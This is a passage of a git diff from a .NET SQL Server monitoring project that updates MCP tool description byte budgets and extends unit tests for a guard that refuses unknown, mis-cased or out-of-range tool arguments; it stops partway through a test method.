 param get_object_locking.server_name 28
 
 tool get_table_index_sizes 794
+param get_table_index_sizes.database_name 46
 param get_table_index_sizes.server_name 28
diff --git a/Darling/Darling.Tests/McpToolsListBudget/DarlingMcpPlanCorrectionTools.txt b/Darling/Darling.Tests/McpToolsListBudget/DarlingMcpPlanCorrectionTools.txt
index 1ed0217dc1..850357efe4 100644
--- a/Darling/Darling.Tests/McpToolsListBudget/DarlingMcpPlanCorrectionTools.txt
+++ b/Darling/Darling.Tests/McpToolsListBudget/DarlingMcpPlanCorrectionTools.txt
@@ -1,6 +1,7 @@
 # DarlingMcpPlanCorrectionTools: tools/list budget for #3898. Ceilings only go down; see McpToolsListBudgetTests. One block per tool, blank line between blocks.
 tool get_plan_corrections 611
 param get_plan_corrections.as_of 167
+param get_plan_corrections.database_name 46
 param get_plan_corrections.full_text 84
 param get_plan_corrections.hours_back 29
 param get_plan_corrections.limit 156
diff --git a/Darling/Darling.Tests/McpToolsListBudget/DarlingMcpPlanTools.txt b/Darling/Darling.Tests/McpToolsListBudget/DarlingMcpPlanTools.txt
index a55961a045..5f1ad923ae 100644
--- a/Darling/Darling.Tests/McpToolsListBudget/DarlingMcpPlanTools.txt
+++ b/Darling/Darling.Tests/McpToolsListBudget/DarlingMcpPlanTools.txt
@@ -17,7 +17,52 @@ param analyze_query_store_plan.plan_id 107
 param analyze_query_store_plan.query_id 38
 param analyze_query_store_plan.server_name 28
 
+tool get_active_query_plan_xml 151
+param get_active_query_plan_xml.collection_time 69
+param get_active_query_plan_xml.live 62
+param get_active_query_plan_xml.request_id 33
+param get_active_query_plan_xml.server_name 28
+param get_active_query_plan_xml.session_id 21
+
+tool get_blocking_plan_xml 148
+param get_blocking_plan_xml.blocked_ecid 35
+param get_blocking_plan_xml.blocked_spid 23
+param get_blocking_plan_xml.blocking_ecid 36
+param get_blocking_plan_xml.blocking_spid 24
+param get_blocking_plan_xml.database_name 52
+param get_blocking_plan_xml.event_time 58
+param get_blocking_plan_xml.server_name 28
+param get_blocking_plan_xml.side 77
+
+tool get_deadlock_plan_xml 130
+param get_deadlock_plan_xml.collection_time 64
+param get_deadlock_plan_xml.database_name 52
+param get_deadlock_plan_xml.deadlock_time 62
+param get_deadlock_plan_xml.server_name 28
+param get_deadlock_plan_xml.victim_process_id 80
+
 tool get_plan_xml 176
 param get_plan_xml.database_name 118
 param get_plan_xml.query_hash 49
 param get_plan_xml.server_name 28
+
+tool get_procedure_plan_xml 134
+param get_procedure_plan_xml.server_name 28
+param get_procedure_plan_xml.sql_handle 52
+
+tool get_query_repro_script 160
+param get_query_repro_script.collection_time 49
+param get_query_repro_script.database_name 51
+param get_query_repro_script.kind 43
+param get_query_repro_script.plan_id 63
+param get_query_repro_script.query_hash 39
+param get_query_repro_script.query_id 38
+param get_query_repro_script.request_id 56
+param get_query_repro_script.server_name 28
+param get_query_repro_script.session_id 44
+
+tool get_query_store_plan_xml 147
+param get_query_store_plan_xml.database_name 43
+param get_query_store_plan_xml.plan_id 84
+param get_query_store_plan_xml.query_id 38
+param get_query_store_plan_xml.server_name 28
diff --git a/Darling/Darling.Tests/McpToolsListBudget/DarlingMcpPvsTools.txt b/Darling/Darling.Tests/McpToolsListBudget/DarlingMcpPvsTools.txt
index 410cbc06df..e2fe138951 100644
--- a/Darling/Darling.Tests/McpToolsListBudget/DarlingMcpPvsTools.txt
+++ b/Darling/Darling.Tests/McpToolsListBudget/DarlingMcpPvsTools.txt
@@ -1,4 +1,5 @@
 # DarlingMcpPvsTools: tools/list budget for #3898. Ceilings only go down; see McpToolsListBudgetTests. One block per tool, blank line between blocks.
 tool get_pvs_stats 620
+param get_pvs_stats.database_name 46
 param get_pvs_stats.server_name 28
 param get_pvs_stats.trend_hours_back 98
diff --git a/Darling/Darling.Tests/McpToolsListBudget/DarlingMcpQueryStoreClutterTools.txt b/Darling/Darling.Tests/McpToolsListBudget/DarlingMcpQueryStoreClutterTools.txt
index 3748850318..09c5a2720c 100644
--- a/Darling/Darling.Tests/McpToolsListBudget/DarlingMcpQueryStoreClutterTools.txt
+++ b/Darling/Darling.Tests/McpToolsListBudget/DarlingMcpQueryStoreClutterTools.txt
@@ -1,6 +1,7 @@
 # DarlingMcpQueryStoreClutterTools: tools/list budget for #3898. Ceilings only go down; see McpToolsListBudgetTests. One block per tool, blank line between blocks.
 tool get_query_store_clutter 610
 param get_query_store_clutter.as_of 167
+param get_query_store_clutter.database_name 46
 param get_query_store_clutter.hours_back 200
 param get_query_store_clutter.include_fleet_median 190
 param get_query_store_clutter.limit 170
diff --git a/Darling/Darling.Tests/McpToolsListBudget/DarlingMcpQueryStoreHistoryTools.txt b/Darling/Darling.Tests/McpToolsListBudget/DarlingMcpQueryStoreHistoryTools.txt
new file mode 100644
index 0000000000..5b71de9718
--- /dev/null
+++ b/Darling/Darling.Tests/McpToolsListBudget/DarlingMcpQueryStoreHistoryTools.txt
@@ -0,0 +1,7 @@
+# DarlingMcpQueryStoreHistoryTools: tools/list budget for #3898. Ceilings only go down; see McpToolsListBudgetTests. One block per tool, blank line between blocks.
+tool get_query_store_query_history 184
+param get_query_store_query_history.as_of 39
+param get_query_store_query_history.database_name 43
+param get_query_store_query_history.hours_back 46
+param get_query_store_query_history.query_id 38
+param get_query_store_query_history.server_name 28
diff --git a/Darling/Darling.Tests/McpToolsListBudget/DarlingMcpServerAdminTools.txt b/Darling/Darling.Tests/McpToolsListBudget/DarlingMcpServerAdminTools.txt
index b67666dda3..a818f576e7 100644
--- a/Darling/Darling.Tests/McpToolsListBudget/DarlingMcpServerAdminTools.txt
+++ b/Darling/Darling.Tests/McpToolsListBudget/DarlingMcpServerAdminTools.txt
@@ -2,5 +2,9 @@
 tool add_servers 616
 param add_servers.servers_json 106
 
+tool edit_server 510
+param edit_server.changes_json 134
+param edit_server.server_name 145
+
 tool remove_server 587
 param remove_server.server_name 156
diff --git a/Darling/Darling.Tests/McpToolsListBudget/DarlingMcpServerTagTools.txt b/Darling/Darling.Tests/McpToolsListBudget/DarlingMcpServerTagTools.txt
new file mode 100644
index 0000000000..b195f537ef
--- /dev/null
+++ b/Darling/Darling.Tests/McpToolsListBudget/DarlingMcpServerTagTools.txt
@@ -0,0 +1,21 @@
+# DarlingMcpServerTagTools: tools/list budget for #3898. Ceilings only go down; see McpToolsListBudgetTests. One block per tool, blank line between blocks.
+tool assign_server_tag 409
+param assign_server_tag.server_ids 68
+param assign_server_tag.tag_id 42
+
+tool create_server_tag 489
+param create_server_tag.colour 51
+param create_server_tag.name 64
+param create_server_tag.parent_id 70
+
+tool delete_server_tag 473
+param delete_server_tag.confirm 81
+param delete_server_tag.tag_id 42
+
+tool unassign_server_tag 407
+param unassign_server_tag.server_ids 68
+param unassign_server_tag.tag_id 42
+
+tool update_server_tag 473
+param update_server_tag.changes_json 154
+param update_server_tag.tag_id 42
diff --git a/Darling/Darling.Tests/McpToolsListBudget/DarlingMcpServerTrendTools.txt b/Darling/Darling.Tests/McpToolsListBudget/DarlingMcpServerTrendTools.txt
new file mode 100644
index 0000000000..0ffaf14403
--- /dev/null
+++ b/Darling/Darling.Tests/McpToolsListBudget/DarlingMcpServerTrendTools.txt
@@ -0,0 +1,9 @@
+# DarlingMcpServerTrendTools: tools/list budget for #3898. Ceilings only go down; see McpToolsListBudgetTests. One block per tool, blank line between blocks.
+tool get_server_trend 380
+param get_server_trend.as_of 167
+param get_server_trend.bucket_minutes 55
+param get_server_trend.clerk_types 85
+param get_server_trend.hours_back 29
+param get_server_trend.metric 44
+param get_server_trend.names 40
+param get_server_trend.server_name 28
diff --git a/Darling/Darling.Tests/McpToolsListBudget/DarlingMcpSessionTools.txt b/Darling/Darling.Tests/McpToolsListBudget/DarlingMcpSessionTools.txt
index b84a88435a..56f1931ad2 100644
--- a/Darling/Darling.Tests/McpToolsListBudget/DarlingMcpSessionTools.txt
+++ b/Darling/Darling.Tests/McpToolsListBudget/DarlingMcpSessionTools.txt
@@ -7,12 +7,14 @@ param get_active_queries.full_text 84
 param get_active_queries.hours_back 37
 param get_active_queries.limit 194
 param get_active_queries.server_name 28
+param get_active_queries.wait_type 190
 
 tool get_session_stats 391
 param get_session_stats.server_name 28
 
-tool get_waiting_tasks 751
+tool get_waiting_tasks 364
 param get_waiting_tasks.as_of 167
+param get_waiting_tasks.database_name 46
 param get_waiting_tasks.hours_back 28
 param get_waiting_tasks.limit 141
 param get_waiting_tasks.server_name 28
diff --git a/Darling/Darling.Tests/McpToolsListBudget/DarlingMcpSlowReadTools.txt b/Darling/Darling.Tests/McpToolsListBudget/DarlingMcpSlowReadTools.txt
new file mode 100644
index 0000000000..69857a4b38
--- /dev/null
+++ b/Darling/Darling.Tests/McpToolsListBudget/DarlingMcpSlowReadTools.txt
@@ -0,0 +1,8 @@
+# DarlingMcpSlowReadTools: tools/list budget for #3898. Ceilings only go down; see McpToolsListBudgetTests. One block per tool, blank line between blocks.
+tool get_slow_reads 356
+param get_slow_reads.full_detail 50
+param get_slow_reads.hours 38
+param get_slow_reads.limit 36
+param get_slow_reads.route 40
+param get_slow_reads.server_name 40
+param get_slow_reads.surface 30
diff --git a/Darling/Darling.Tests/McpToolsListBudget/DarlingMcpStoreQueryHistoryTools.txt b/Darling/Darling.Tests/McpToolsListBudget/DarlingMcpStoreQueryHistoryTools.txt
new file mode 100644
index 0000000000..f6075d112c
--- /dev/null
+++ b/Darling/Darling.Tests/McpToolsListBudget/DarlingMcpStoreQueryHistoryTools.txt
@@ -0,0 +1,6 @@
+# DarlingMcpStoreQueryHistoryTools: tools/list budget for #3898. Ceilings only go down; see McpToolsListBudgetTests. One block per tool, blank line between blocks.
+tool get_store_query_history 428
+param get_store_query_history.hours_back 49
+param get_store_query_history.query_id 84
+param get_store_query_history.role 83
+param get_store_query_history.top 55
diff --git a/Darling/Darling.Tests/McpToolsListBudget/DarlingMcpTrendTools.txt b/Darling/Darling.Tests/McpToolsListBudget/DarlingMcpTrendTools.txt
index f5b0cee546..998ef37652 100644
--- a/Darling/Darling.Tests/McpToolsListBudget/DarlingMcpTrendTools.txt
+++ b/Darling/Darling.Tests/McpToolsListBudget/DarlingMcpTrendTools.txt
@@ -22,17 +22,20 @@ param get_perfmon_trend.server_name 28
 tool get_procedure_duration_trend 445
 param get_procedure_duration_trend.as_of 167
 param get_procedure_duration_trend.bucket_minutes 55
+param get_procedure_duration_trend.database_name 46
 param get_procedure_duration_trend.hours_back 29
 param get_procedure_duration_trend.server_name 28
 
 tool get_query_duration_trend 614
 param get_query_duration_trend.as_of 167
 param get_query_duration_trend.bucket_minutes 55
+param get_query_duration_trend.database_name 46
 param get_query_duration_trend.hours_back 29
 param get_query_duration_trend.server_name 28
 
 tool get_query_store_duration_trend 606
 param get_query_store_duration_trend.as_of 167
+param get_query_store_duration_trend.database_name 46
 param get_query_store_duration_trend.hours_back 29
 param get_query_store_duration_trend.server_name 28
 
diff --git a/Darling/Darling.Tests/McpToolsListBudgetTests.cs b/Darling/Darling.Tests/McpToolsListBudgetTests.cs
index 78fd9a2753..09c27211ca 100644
--- a/Darling/Darling.Tests/McpToolsListBudgetTests.cs
+++ b/Darling/Darling.Tests/McpToolsListBudgetTests.cs
@@ -118,7 +118,7 @@ so neither counts here. */
        41,669 bytes (measured, every field on every collector) to 20,707 bytes, under the shared 32 KB budget. */
 
     /* #4198 (lane TH): +193 bytes for get_active_queries' new full_query_text opt-in parameter and its
-       limit description's #4198 note (query_text, the wide field, is now a 500-char preview by default;
+       limit description's #4198 note (query_text, the wide field, is now a 500-char (now 400) preview by default;
        limit is 25, down from 50); the preview note itself moved after <<GUIDE>> to stay under the head's
        own 620-char target, so the served head is unchanged at 616. */
     /* #4198 (lane W2): -6 bytes for renaming get_active_queries' full_query_text opt-in to full_text — the
@@ -195,7 +195,63 @@ shared 32 KB budget and is not a served description either. */
     // create_mute_rule gains its optional server_id parameter (a mute rule keyed on the server's store id); its
     // reading guidance sits after the tool's <<GUIDE>> marker, so the head grows by the parameter alone.
     // Constant set to the value McpToolsListBudgetTests itself measured on this tree.
-    private const int TotalCeilingBytes = 176_643;
+    // get_finops (the grouped FinOps tool, first view high_impact) adds 843 bytes: 176,643 -> 177,486.
+    // get_finops view utilization adds 78 bytes: 177,486 -> 177,564.
+    // get_finops_inventory (the FinOps fleet tool) adds 461 bytes: 177,564 -> 178,025.
+    // get_finops_inventory head says which time is not UTC, with the merged tree re-measured: 178,025 -> 178,170.
+    // get_finops application_connections view, with the merged tree re-measured: 178,170 -> 178,258.
+    // get_finops optimization view, with the merged tree re-measured: 178,258 -> 178,341.
+    // get_finops optimization guide gains the cost-attribution and mixed-status sentences after the guide marker, re-measured: 178,341 -> 178,341 (the head is unchanged).
+    // get_finops view index_analysis (view line, view name, database_name and full_text parameters), re-measured on the tree merged with dev: 178,258 -> 178,563.
+    // get_finops optimization view, with dev merged (index_analysis already in) and the tree re-measured: 178,563 -> 178,646; tool get_finops 481 -> 550, view 113 -> 127.
+    // get_finops storage_growth view (view line, view name, object_name parameter, database_name wording), re-measured: 178,646 -> 178,855; tool get_finops 550 -> 614, view 127 -> 143, database_name 52 -> 63, new object_name 69.
+    // get_finops storage_growth review answers (guide sentences after the marker, a rename, a switch arm), re-measured: 178,855 -> 178,855; tool get_finops 614, view 143, database_name 63, object_name 69 unchanged.
+    // get_finops_recommendations (the FinOps recommendations tool) adds 547 bytes: 178,855 -> 179,402.
+    // get_job_history (the job history read) adds 1,296 bytes: 179,402 -> 180,698.
+    // The fleet server-tag write tools (#5085, five tools: create, update, delete, assign and unassign) add 4,174 bytes on their own base: 179,402 -> 183,576.
+    // #5085 (server-tag tools, merge): re-measured after merging origin/dev (dev now includes #5095); combined total 184,872 bytes, 170 tools
+    // get_server_trend (#5117), get_finops view database_sizes (#5121) and get_deadlock_detail processes (deadlock rows) re-measured together on dev 0032cfa6d: 184,872 -> 186,010.
+    // get_server_trend gains latch, spinlock, session_stats and collector_duration (#4843): 186,010 -> 186,158.
+    // get_slow_reads (#5097, the slow-read record's read tool) adds one tool, re-measured on the tree merged with dev 85a522f0b: 186,158 -> 186,917, 171 -> 172 tools (unchanged by dev's later commits).
+    // get_store_query_history (#5097, the store statement history read) adds one tool, measured on this tree: 187,122 -> 188,119, 172 -> 173 tools.
+    // edit_server (#5240) adds one tool, measured on this tree: 188,119 -> 189,171, 173 -> 174 tools (+1,052 bytes).
+    /* #5228: the three raw-plan reads behind the web grids' plan buttons (get_query_store_plan_xml, get_procedure_plan_xml,
+       get_active_query_plan_xml), measured on the tree merged with dev 94aa5e755: 188,119 -> 190,004 (+1,885), 173 -> 176 tools. Each head
+       is under 160 characters. */
+    // Both additions above together (edit_server #5240 plus the three raw-plan reads #5228), as McpToolsListBudgetTests measured the tree
+    // merged with dev c1679bcdd: 188,119 -> 191,056 (= 188,119 + 1,052 + 1,885), 173 -> 177 tools. The ceiling now covers all 177 served tools.
+    /* #5234: get_query_store_query_history, the per-plan history behind the web Query Store grid's History button,
+       measured on the tree merged with dev c1679bcdd and the raw-plan reads: 191,056 -> 191,824 (+768), 177 -> 178 tools. The ceiling
+       now covers all 178 served tools. Re-measured after merging dev 9a089ff8e (#5260 landed there squashed): 191,814 bytes, 178 tools,
+       so the ceiling is 191,814. */
+    /* #5233: get_query_repro_script, the store-only repro script behind the web plan panel's Repro button, measured on the tree merged with dev c9b924ce2:
+       191,814 -> 192,981 (+1,167), 178 -> 179 tools. Its head is at most 160 characters. */
+    // get_active_queries gains its wait_type parameter (#5235, a 190-character description; the served head is unchanged). Constant set to the
+    // value McpToolsListBudgetTests itself measured on this tree: +227 bytes. Merged with dev's #5234 (the per-plan Query Store history tool), as
+    // the test measured the merged tree: 192,050, against dev's previous ceiling of 191,814.
+    /* #5236: get_blocking_plan_xml and get_deadlock_plan_xml (the Blocking and Deadlocks grids' plan reads), measured on this tree:
+       191,056 -> 192,755 (+1,699), 177 -> 179 tools. Each head is under 160 characters. */
+    /* #5236 (the plan reads' optional database_name, so two databases under one server_id each read their own plan): both reads gain one
+       parameter with a 52-byte description (108 bytes each with its schema entry), measured on this tree: 192,755 -> 192,971 (+216), 179 tools. */
+    /* #5236 merged with dev d27eb46f7 (#5299 order_by, #5300 get_query_store_query_history growth): re-measured on the merged tree: 193,738 bytes,
+       180 tools (dev's own 178 plus the two plan reads). Constant set to the measured value, not the deltas added by hand. */
+    /* #5236 (merge with dev f82222c73, which carries #5235's get_active_queries wait_type): re-measured on the merged tree: 193,975 bytes, 180 tools.
+       Dev's ceiling was 192,050 and this PR's own was 193,738, so neither side's number was taken. Constant set to the measured value, not the deltas added by hand. */
+    /* #5233 merged with dev 2c60dcae2 (#5236 plan reads, #5301, #5322): both sides added a tool, so neither ceiling was taken.
+       Re-measured on the merged tree by ToolsList_TotalBytes_IsAtOrUnderTheCeiling: 195,143 bytes, 181 tools (dev 180 plus get_query_repro_script; dev's ceiling was 193,975, this PR's was 192,981). The repro tool's own pre-merge delta was
+       191,814 -> 192,981 (+1,167), 178 -> 179 tools. Constant set to the measured value, not the deltas added by hand. */
+    /* #5231 PR2 (W2): get_object_locking gains database_name (the 46-character shared sentence, as Lite's twin): 195,143 -> 195,240 bytes (+97), 181 tools.
+       Constant set to the measured value. */
+    /* #5244 PR3 (W3): get_blocked_process_xml, get_blocking, get_blocking_trend and get_waiting_tasks gain database_name (the 46-character shared sentence, as Lite's twins) and get_blocking_stats gains its 66-character partial-scope form: 195,240 -> 195,745 bytes (+505), 181 tools.
+       get_current_waits_trend already took one. Constant set to the measured value. */
+    /* #5244 PR3 (r1 M1): get_blocking_trend and get_blocking_stats each gain the one sentence that says which collector answered (the source key and when the DMV snapshot is used): 195,745 -> 196,205 bytes (+460), 181 tools.
+       Lite carries the identical sentence on its twins. */
+    /* #5244 PR4 (W4): get_query_duration_trend, get_procedure_duration_trend, get_query_store_duration_trend, get_long_query_completions,
+       get_plan_corrections and get_query_store_clutter gain database_name (the 46-character shared sentence, as Lite's twins where they exist):
+       196,205 -> 196,787 bytes (+582), measured. */
+    /* #5244 PR6 (W6): get_database_config_changes, get_default_trace_events and get_health_parser_severe_errors gain database_name (the
+       46-character shared sentence, as Lite's twins; the other three configuration reads already took one): 196,787 -> 197,078 bytes (+291), measured. */
+    private const int TotalCeilingBytes = 197_466;
 
 
 
diff --git a/Darling/Darling.Tests/McpUnknownArgumentGuardTests.cs b/Darling/Darling.Tests/McpUnknownArgumentGuardTests.cs
index 89c2308a13..ce517279b7 100644
--- a/Darling/Darling.Tests/McpUnknownArgumentGuardTests.cs
+++ b/Darling/Darling.Tests/McpUnknownArgumentGuardTests.cs
@@ -7,7 +7,9 @@
 using System.Linq;
 using System.Reflection;
 using System.Text.Json;
+using System.Text.Json.Serialization;
 using System.Text.RegularExpressions;
+using System.Threading.Tasks;
 using Microsoft.Extensions.DependencyInjection;
 using ModelContextProtocol.Protocol;
 using ModelContextProtocol.Server;
@@ -46,6 +48,7 @@ namespace Darling.Tests;
 /// hazard if it were false. Case-insensitive matching is asserted too: it mirrors the binder, so the guard
 /// can only ever refuse a call the binder would already have mangled.</para>
 /// </summary>
+[Trait("Stage", "Guard")]
 public sealed class McpUnknownArgumentGuardTests
 {
     /// <summary>
@@ -103,7 +106,7 @@ private static List<McpServerTool> RegisteredTools()
     /// <remarks>#3898: the shared <see cref="McpServedSchema"/> predicate, which also keeps nullable value types
     /// and arrays (get_tool_guide's <c>string[]</c>) model-facing; the old inline one called both services and
     /// dropped them from the schemas this census checks.</remarks>
-    private static bool IsServiceParameter(Type t) => McpServedSchema.IsServiceParameter(t) && t != typeof(McpToolGuideCatalog);
+    internal static bool IsServiceParameter(Type t) => McpServedSchema.IsServiceParameter(t) && t != typeof(McpToolGuideCatalog);
 
     private static CallToolRequestParams Call(string toolName, Dictionary<string, JsonElement> arguments) =>
         new() { Name = toolName, Arguments = arguments };
@@ -269,13 +272,20 @@ public void EveryRegisteredTool_AcceptsItsOwnDeclaredParameters_AndAnEmptyCall()
                 continue;
             }
 
-            var declared = properties.EnumerateObject().Select(p => p.Name).ToArray();
+            var declared = properties.EnumerateObject().ToArray();
             if (declared.Length == 0)
             {
                 continue;
             }
 
-            var everything = Args(declared.Select(p => (p, "x")).ToArray());
+            /* A value each parameter can take: 1 for an integer, since the guard refuses a word there just as the
+               binder cannot read one, and a word for the rest. */
+            var everything = declared.ToDictionary(
+                p => p.Name,
+                p => p.Value.TryGetProperty("type", out var type) && type.ValueKind == JsonValueKind.String && type.GetString() == "integer"
+                    ? JsonSerializer.SerializeToElement(1)
+                    : JsonSerializer.SerializeToElement("x"),
+                StringComparer.Ordinal);
 
             if (McpUnknownArgumentGuard.Refuse(Call(name, everything), tool) is { } refused)
             {
@@ -290,18 +300,67 @@ public void EveryRegisteredTool_AcceptsItsOwnDeclaredParameters_AndAnEmptyCall()
     }
 
     /// <summary>
-    /// Case is the binder's, stated. A key differing from a real parameter only by case is BOUND by the SDK,
-    /// so the guard accepts it: refusing there would break working calls, and the guard's whole license is
-    /// that it can only reject what would have been dropped anyway.
+    /// Argument names match exactly, letter case included, because that is how the SDK's binder matches them: it
+    /// does not bind <c>HOURS_BACK</c> to <c>hours_back</c>, so the tool ran at its default 24 hours. The guard
+    /// refuses such a key like any other unknown one and suggests the parameter it differs from only by case.
     /// </summary>
     [Fact]
-    public void AKeyDifferingOnlyByCase_IsAcceptedBecauseTheBinderBindsIt()
+    public void AKeyDifferingOnlyByCase_IsRefused_AndTheRefusalNamesTheParameter()
     {
         var tool = RegisteredTools().First(t => t.ProtocolTool.Name == "get_collection_log");
 
-        Assert.Null(McpUnknownArgumentGuard.Refuse(
+        var result = McpUnknownArgumentGuard.Refuse(
             Call("get_collection_log", Args(("HOURS_BACK", "1"))),
-            tool));
+            tool);
+
+        var problem = McpInProcessHost.CaseRefusalProblem("get_collection_log", "HOURS_BACK", "hours_back", result);
+        Assert.True(problem is null, problem);
+    }
+
+    /// <summary>
+    /// The same key through a real in-process server, so the SDK's own binder is on the path: <c>get_wait_stats</c>
+    /// with <c>{"HOURS_BACK": 2}</c> is refused before the tool runs. Without the refusal the binder drops the key
+    /// and the tool reads its default window.
+    /// </summary>
+    [Fact]
+    public async Task AKeyDifferingOnlyByCase_IsRefusedBeforeTheBinder_ThroughARealServer()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await using var host = await McpWholeNumberArgumentTests.StartHostAsync();
+
+        var result = await host.Client.CallToolAsync(
+            "get_wait_stats", new Dictionary<string, object?> { ["HOURS_BACK"] = 2 }, cancellationToken: ct);
+
+        var problem = McpInProcessHost.CaseRefusalProblem("get_wait_stats", "HOURS_BACK", "hours_back", result);
+        Assert.True(problem is null, problem);
+    }
+
+    /// <summary>
+    /// The premise the case refusal rests on, pinned on the SDK's binder alone, with the guard left out of the host:
+    /// a key that differs from a parameter only by letter case is dropped, never bound. <c>HOURS_BACK</c> carrying a
+    /// value no integer parameter can take logs no binding failure, so the binder never read it. The same value
+    /// under <c>hours_back</c> does log one, which shows this test can see a binding failure when there is one. If a
+    /// later SDK matched names ignoring case, the first half would fail here, and the guard would be refusing calls
+    /// that work.
+    /// </summary>
+    [Fact]
+    public async Task WithoutTheGuard_TheBinderDropsAKeyDifferingOnlyByCase()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await using var host = await McpWholeNumberArgumentTests.StartHostAsync(installGuard: false);
+
+        await host.Client.CallToolAsync(
+            "get_wait_stats", new Dictionary<string, object?> { ["HOURS_BACK"] = "not-a-number" }, cancellationToken: ct);
+        Assert.False(
+            host.ToolExceptions.HasBindingFailure,
+            "The binder read HOURS_BACK as hours_back. Logged: " + host.ToolExceptions.Describe());
+
+        await host.Client.CallToolAsync(
+            "get_wait_stats", new Dictionary<string, object?> { ["hours_back"] = "not-a-number" }, cancellationToken: ct);
+        Assert.True(
+            host.ToolExceptions.HasBindingFailure,
+            "hours_back: \"not-a-number\" logged no binding failure, so this test cannot see one. Logged: "
+            + host.ToolExceptions.Describe());
     }
 
     /// <summary>
@@ -332,12 +391,216 @@ public void ProtocolMetadata_TravelsOutsideTheArgumentsObject()
         Assert.Null(McpUnknownArgumentGuard.Refuse(parameters, tool));
     }
 
+    /// <summary>
+    /// The guard reads each value into its parameter's declared type to learn what the binder would do, and refuses
+    /// only on a <see cref="JsonException"/>. A converter that throws anything else (an
+    /// <see cref="ArgumentException"/> here) is a case the guard cannot judge, so the call passes to the binder, which
+    /// answers it itself. An exception out of <see cref="McpUnknownArgumentGuard.Refuse"/> would escape the call-tool
+    /// filter and fail a call the binder owns.
+    /// </summary>
+    [Fact]
+    public void AValueWhoseConverterThrowsAnythingButAJsonError_PassesToTheBinder()
+    {
+        var method = typeof(ConverterThrowsProbeTool).GetMethod(nameof(ConverterThrowsProbeTool.Take))!;
+        var tool = McpServerTool.Create(method, target: null, options: new McpServerToolCreateOptions());
+        var name = tool.ProtocolTool.Name;
+        var types = new McpToolParameterTypes();
+        types.Register(name, method, include: null);
+
+        /* The control: this tool's parameters are judged by their declared types, so the null below is a verdict and
+           not a guard that never got as far as reading the value. */
+        var control = McpUnknownArgumentGuard.Refuse(Call(name, Args(("count", "abc"))), tool, types);
+        Assert.NotNull(control);
+        using var refusal = JsonDocument.Parse(TextOf(control!));
+        Assert.Contains("'count'", refusal.RootElement.GetProperty("message").GetString()!, StringComparison.Ordinal);
+
+        Assert.Null(McpUnknownArgumentGuard.Refuse(Call(name, Args(("value", "anything"))), tool, types));
+    }
+
+    /// <summary>
+    /// A string takes a String token or a Null one and nothing else, so the guard decides it from the token. Reading a
+    /// string into a string copies the whole value only to throw the copy away, and the binder reads it again right
+    /// after, so a 10 MB <c>plan_xml</c> would be held a second time for nothing. The check allocates a sliver of the
+    /// value's size where reading it would allocate a copy of all of it.
+    /// </summary>
+    [Fact]
+    public void ALargeString_IsPassedWithoutBeingCopied()
+    {
+        var text = new string('x', 5_000_000);
+        using var document = JsonDocument.Parse("\"" + text + "\"");
+        var declared = new McpParameterType(typeof(string), AllowsNull: true);
+
+        /* Once to warm every path the check takes, so the second run measures only what the check itself allocates. */
+        Assert.Null(McpArgumentValueCheck.Problem("analyze_query_plan", "plan_xml", document.RootElement, declared));
+
+        var before = GC.GetAllocatedBytesForCurrentThread();
+        var problem = McpArgumentValueCheck.Problem("analyze_query_plan", "plan_xml", document.RootElement, declared);
+        var allocated = GC.GetAllocatedBytesForCurrentThread() - before;
+
+        Assert.Null(problem);
+        Assert.True(
+            allocated < 100_000,
+            $"The check allocated {allocated:N0} bytes for a string of {text.Length:N0} characters; reading it would copy the whole value.");
+    }
+
+    /// <summary>
+    /// <see cref="Type.GetTypeCode(Type)"/> answers an enum's underlying integer type, so an enum parameter used to pass
+    /// for a whole-number one: a value it could not read was refused as "a whole number ... with no decimal point", with
+    /// no word of the names it takes. The refusal for an enum, or a list of one, names its members.
+    /// </summary>
+    [Fact]
+    public void AnEnumParameter_IsRefusedAsOneOfItsNames_NotAsAWholeNumber()
+    {
+        /* A fraction, a name no member has, and a whole number past the underlying int: each is a value the binder cannot
+           read for an enum, and none of them is a whole number problem. */
+        foreach (var raw in new[] { "0.5", "\"Magenta\"", "3000000000" })
+        {
+            var message = ProbeRefusal("color", raw);
+
+            Assert.NotNull(message);
+            Assert.Contains("'color'", message, StringComparison.Ordinal);
+            Assert.Contains("takes one of Crimson, Teal, Amber, and the call sent", message, StringComparison.Ordinal);
+            Assert.DoesNotContain("whole number", message, StringComparison.Ordinal);
+            Assert.DoesNotContain("too large", message, StringComparison.Ordinal);
+        }
+
+        var list = ProbeRefusal("colors", "[0.5]");
+
+        Assert.NotNull(list);
+        Assert.Contains("a list (a JSON array) of names from Crimson, Teal, Amber", list, StringComparison.Ordinal);
+        Assert.DoesNotContain("ProbeColor", list, StringComparison.Ordinal);
+        Assert.DoesNotContain("whole number", list, StringComparison.Ordinal);
+
+        /* The control: a member name, and a number the enum holds, are read by the binder, so they are not refused. */
+        Assert.Null(ProbeRefusal("color", "\"Amber\""));
+        Assert.Null(ProbeRefusal("color", "1"));
+    }
+
+    /// <summary>
+    /// A whole number the guard words as too large or too small is judged by its digits. The widest integer type holds
+    /// 20 of them, so a run longer than that is out of every range whatever it is, and is not handed to a big-integer
+    /// parse whose cost grows faster than its length. The caller sets the length of the value.
+    /// </summary>
+    [Theory]
+    [InlineData("", false, "too large")]
+    [InlineData("-", false, "too small")]
+    [InlineData("", true, "too large")]
+    [InlineData("-", true, "too small")]
+    public void AHundredThousandDigitValueForAnInt_IsRefusedAsTooLargeOrTooSmall(string sign, bool asText, string direction)
+    {
+        var digits = sign + new string('9', 100_000);
+        var message = ProbeRefusal("count", asText ? "\"" + digits + "\"" : digits);
+
+        Assert.NotNull(message);
+        Assert.Contains("'count'", message, StringComparison.Ordinal);
+        Assert.Contains("takes a whole number, and the call sent", message, StringComparison.Ordinal);
+        Assert.Contains($"which is {direction}.", message, StringComparison.Ordinal);
+        AssertStatesNoRange(message);
+    }
+
+    /// <summary>
+    /// A leading plus sign, and leading zeros, change neither which way a whole number is out of range nor whether it is:
+    /// the zeros do not count toward the 20 digits the widest integer type holds.
+    /// </summary>
+    [Theory]
+    [InlineData("+", 0, "3000000000", "too large")]
+    [InlineData("-", 0, "3000000000", "too small")]
+    [InlineData("", 30, "3000000000", "too large")]
+    [InlineData("+", 30, "3000000000", "too large")]
+    [InlineData("-", 30, "3000000000", "too small")]
+    [InlineData("", 30, "99999999999999999999999", "too large")]
+    [InlineData("-", 30, "99999999999999999999999", "too small")]
+    public void ASignAndLeadingZeros_DoNotChangeWhichWayAWholeNumberIsOutOfRange(
+        string sign, int zeros, string digits, string direction)
+    {
+        var message = ProbeRefusal("count", "\"" + sign + new string('0', zeros) + digits + "\"");
+
